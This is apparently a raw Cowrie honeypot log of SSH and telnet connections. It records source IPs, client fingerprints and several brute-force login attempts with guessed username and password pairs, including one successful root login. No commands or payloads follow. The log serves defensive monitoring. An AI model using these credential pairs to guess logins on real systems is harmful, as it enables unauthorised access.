{"eventid":"cowrie.session.connect","src_ip":"106.74.128.226","src_port":59376,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0e48913adab","protocol":"ssh","message":"New connection: 106.74.128.226:59376 (10.17.0.5:22) [session: f0e48913adab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:39.658162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:40.785727Z","src_ip":"106.74.128.226","session":"f0e48913adab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:40.789780Z","src_ip":"106.74.128.226","session":"f0e48913adab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":51188,"dst_ip":"10.17.0.5","dst_port":22,"session":"e83b69b0b86d","protocol":"ssh","message":"New connection: 200.225.246.102:51188 (10.17.0.5:22) [session: e83b69b0b86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:41.292402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:41.298478Z","src_ip":"200.225.246.102","session":"e83b69b0b86d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:41.432329Z","src_ip":"200.225.246.102","session":"e83b69b0b86d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"laurence","password":"laurence@123","message":"login attempt [laurence/laurence@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:41.991387Z","src_ip":"200.225.246.102","session":"e83b69b0b86d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:43.126801Z","src_ip":"200.225.246.102","session":"e83b69b0b86d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"------fuck------","message":"login attempt [root/------fuck------] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:45.543067Z","src_ip":"106.74.128.226","session":"f0e48913adab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.253.138.46","src_port":54374,"dst_ip":"159.203.135.109","dst_port":23,"session":"368d43f0298d","protocol":"telnet","message":"New connection: 61.253.138.46:54374 (159.203.135.109:23) [session: 368d43f0298d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:06:03.793284Z"}
{"eventid":"cowrie.session.closed","duration":12.689041376113892,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:06:16.482195Z","src_ip":"61.253.138.46","session":"368d43f0298d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":55768,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e983cf79e37","protocol":"ssh","message":"New connection: 27.79.44.181:55768 (10.17.0.5:22) [session: 2e983cf79e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:06:32.620579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:06:33.046005Z","src_ip":"27.79.44.181","session":"2e983cf79e37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:06:33.146224Z","src_ip":"27.79.44.181","session":"2e983cf79e37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"installer","message":"login attempt [installer/installer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:06:34.477276Z","src_ip":"27.79.44.181","session":"2e983cf79e37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:06:35.741834Z","src_ip":"27.79.44.181","session":"2e983cf79e37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":36422,"dst_ip":"159.203.135.109","dst_port":22,"session":"50ffab95a8fc","protocol":"ssh","message":"New connection: 2.57.122.210:36422 (159.203.135.109:22) [session: 50ffab95a8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:07:32.372894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:07:32.377292Z","src_ip":"2.57.122.210","session":"50ffab95a8fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:07:32.480959Z","src_ip":"2.57.122.210","session":"50ffab95a8fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:07:32.794354Z","src_ip":"2.57.122.210","session":"50ffab95a8fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:07:33.900855Z","src_ip":"2.57.122.210","session":"50ffab95a8fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":59370,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec997cd2edf2","protocol":"ssh","message":"New connection: 200.225.246.102:59370 (10.17.0.5:22) [session: ec997cd2edf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:07:50.274780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:07:50.278693Z","src_ip":"200.225.246.102","session":"ec997cd2edf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:07:50.406135Z","src_ip":"200.225.246.102","session":"ec997cd2edf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sa","password":"12345","message":"login attempt [sa/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:07:50.951226Z","src_ip":"200.225.246.102","session":"ec997cd2edf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43766,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c2e7ad2ba70","protocol":"ssh","message":"New connection: 195.178.110.218:43766 (159.203.135.109:22) [session: 7c2e7ad2ba70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:07:51.876667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:07:51.880892Z","src_ip":"195.178.110.218","session":"7c2e7ad2ba70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:07:51.959680Z","src_ip":"195.178.110.218","session":"7c2e7ad2ba70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:07:52.082154Z","src_ip":"200.225.246.102","session":"ec997cd2edf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:07:52.195624Z","src_ip":"195.178.110.218","session":"7c2e7ad2ba70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:07:53.276310Z","src_ip":"195.178.110.218","session":"7c2e7ad2ba70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.5.10","src_port":59840,"dst_ip":"10.17.0.5","dst_port":22,"session":"070e51338a91","protocol":"ssh","message":"New connection: 27.79.5.10:59840 (10.17.0.5:22) [session: 070e51338a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:08:46.147561Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":34248,"dst_ip":"10.17.0.5","dst_port":22,"session":"a54792ab8445","protocol":"ssh","message":"New connection: 27.79.44.181:34248 (10.17.0.5:22) [session: a54792ab8445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:08:46.422582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:08:46.463192Z","src_ip":"27.79.44.181","session":"a54792ab8445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:08:47.687907Z","src_ip":"27.79.44.181","session":"a54792ab8445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:08:49.128030Z","src_ip":"27.79.44.181","session":"a54792ab8445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:08:50.396530Z","src_ip":"27.79.44.181","session":"a54792ab8445","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:08:50.704125Z","src_ip":"27.79.5.10","session":"070e51338a91","protocol":"ssh"}
